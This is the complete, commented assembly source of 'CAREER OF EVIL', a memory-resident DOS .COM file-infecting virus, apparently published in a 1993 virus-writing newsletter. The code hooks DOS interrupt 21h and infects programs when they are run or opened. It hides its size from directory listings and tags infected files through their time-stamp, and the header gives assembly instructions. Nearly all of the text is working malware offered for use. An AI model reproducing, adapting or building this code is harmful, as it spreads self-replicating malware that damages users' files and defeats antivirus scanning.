;CAREER OF EVIL virus: a simple memory resident .COMinfector ;which infects on execution and file open. CAREER OF EVIL also ;has limited stealth, subtracting its file size from infected files ;by diddling the file control block on "DIR" functions BEFORE the ;user sees the result onscreen. The virus recognizes infected ;files by setting a peculiar time-stamp in the unreported seconds ;field. Anti-virus measures are complicated when the virus is ;in memory by its ability to infect on file open. Scanning or ;operating any utilities which open files for inspection will ;spread the virus to every file examined in this manner. ;For best results, assemble CAREER OF EVIL with the A86 assembler. ;CAREER OF EVIL: prepared by Urnst Kouch for CRYPT NEWSLETTER 15, ;MAY-JUNE 1993. code segment assume cs:code, ds:code, es:code, ss:nothing org 0100h begin: call virus ; host db 'Í RottenUK' ; dummy place-holder where ; virus stashes original 5-bytes ; from host file db 'Career of Evil',0 virus: pop bp push bp add bp,0FEFDh mov ax,0ABCDh ; put 0ABCDh into ax int 21h ; for installation check ; (also critical in directory stealth) jnb failed ; if virus is already there, ; will branch cli ; to virus exit when in memory mov ax,3521h int 21h ; get interrupt vector mov w [bp+offset oldint21],bx ; es:bx points to mov w [bp+offset oldint21+2],es ; interrupt handler mov al,1Ch int 21h mov si,ds std lodsb cld mov ds,si xor bx,bx mov cx,pargrph ; virus size in paragraphs to allot-->cx mov ax,[bx+3] ; an off hand way of doing things sub ax,cx ; mov [bx+3],ax sub [bx+12h],cx mov es,[bx+12h] push cs pop ds mov di,100h mov si,bp add si,di mov cx,size rep movsb ; start copying virus into memory push es pop ds mov ax,2521h mov dx,offset newint21 ; set int 21 route through virus int 21h failed: push cs push cs pop ds pop es pop si mov di,100h push di jmp $ + 2 movsw movsw jmp $ + 2 movsb mov cx,0FFh mov si,100h ret ; exit to host newint21: pushf cmp ah,11h ; any "dir" user access of file control je stealth_entry ; block must come through virus cmp ah,12h ; next file directory handler je stealth_entry cmp ax,0ABCDh ; we need this so that when the virus jne not_virus_input ; is controlling things, on popf ; file infect it doesn't go clc ; and subtract another length retf 2 ; increment from the directory ; entries of infected files. ; although an amusing effect, ; reducing the filesize of all ; infected files as reported ; by DIR one virus length everytime ; the virus infects ANY file is ; counter-productive not_virus_input: cmp ax,4B00h ; is a program being loaded? je check_infect ; try to infect cmp ah,3Dh ; is a file being opened? je start_open_infect ; if so, get address jne not_4B00 ; exit if not stealth_entry: popf call int21 ; look to virus "stealth" pushf ; routine call stealth_begin cycle_dirstealth: popf ; remove word from the stack iret ; and return from interrupt ; to where we were before pulling stealth_begin: ; stealth trick push ax ; the following essentially massages the push bx ; file control block on directory scans, push dx ; subtracting the virus size from infected push es ; files before the user sees it ; stack setup saves everything mov ah,2Fh ; get disk transfer address call int21 ; add bx,8 normalize_direntry: mov al,byte es:[bx+16h] ; retrieve seconds data and al,1fh ; from observed file, if it's xor al,1fh ; 31, the file is infected jnz no_edit_entry ; not 31 - file not infected mov ax,word es:[bx+1Ch] mov dx,word es:[bx+1Ch+2] sub ax,size ; subtract virus length from sbb dx,0 ; infected file jc no_edit_entry ; no files? exit mov word es:[bx+1Ch],ax mov word es:[bx+1Ch+2],dx no_edit_entry: ; restore everything as normal pop es ; pop dx pop bx pop ax ret start_open_infect: mov word ptr cs:[fileseg],dx mov word ptr cs:[fileseg+2h],ds ; save segment:offset of ; file being opened so it ; can be infected, too check_infect: push ax ; push everything onto stack push bx push cx push dx push ds push bp mov ax,4300h ; get file attributes of potential host call int21 jc back1 ; failed? exit mov cs:old_attr,cx ; put attributes here mov ax,4301h ; set new file attributes, read or write xor cx,cx call int21 ; do it jc back1 ; error? exit push dx push ds call infect ; call infection subroutine pop ds pop dx mov ax,4301h ; same as above db 0B9h ; hand code mov CX, old_attr dw 0 call int21 back1: ; if the attrib-get fails pop bp ; pop everything off stack pop ds pop dx pop cx pop bx pop ax not_4B00: back: popf db 0EAh ; <--------- return to virus exit to host oldint21 dw 0,0 int21: pushf call dword ptr cs:oldint21 ; <--interrupt handler ret infect: mov ax,3D02h ; open host file with read/write access call int21 jnc okay_open ret ; was there an error? exit okay_open: xchg bx,ax mov ax,5700h ; get file date and file time call int21 push cx mov bp,sp push dx mov al,cl ; retrieve seconds data from file one or cl,1fh ; more time xor al,cl ; if it's 31 (1fh), we get a zero jz close ; and the file is already infected mov ah,3Fh ; read first five bytes from potential host mov cx,5 mov dx,offset host ; store them here push cs pop ds call int21 jc close ; error, exit? cmp al,5 ; get the five bytes? jne close ; no, so exit cmp word host[0],'ZM' ; check, is this an .EXE file? je close ; yes, so no infection cmp host[0],0E9h ; does it start with a jump? je infect_host ; yes - infect. Here's a ; subtle point. MUST look for 0e9h ; or file is not .EXE, not marked ; virus time-stamp, infection will close: ; result in the virus adding itself ; to almost anything loaded or pop dx ; opened which is not an .EXE or pop cx ; .OVL. The result would be a hang. mov ax,5701h ; reset file date and time call int21 mov ah,3Eh ; close file call int21 ret ; exit infect_host: mov ax,4202h ; reset pointer to end of file xor cx,cx ; a standard appending infection xor dx,dx ; routine which is suitable call int21 ; for most resident .COM infecting ; viruses or dx,dx jnz close dec ax dec ax dec ax mov word ptr putjmp[1],ax mov ah,40h ; write virus to the target file mov cx,size ; length in cx mov dx,100h call int21 jc close mov ax,4200h ; set file pointer to beginning of host xor cx,cx xor dx,dx call int21 mov ah,40h ; write the first five bytes of the mov cx,5 ; viral jump and vanity string to the mov dx,offset putjmp ; beginning of the host file call int21 or byte ss:[bp],31 ; set the seconds field to 31, so the ; "stealth" routine has its cue jmp close ; close the file and clean up putjmp db 0E9h ; <----- data, jump and vanity sig for dw 0 ; virus to copy to beginning of host db 'UK' fileseg dd ? ; <--- buffer for seg:off of files ; opened by user activated programs mark: ; <-----end of virus size equ $-100h ; pargrph equ ($+16)/16 ; virus size in memory in 16-byte ; paragraphs code ends end begin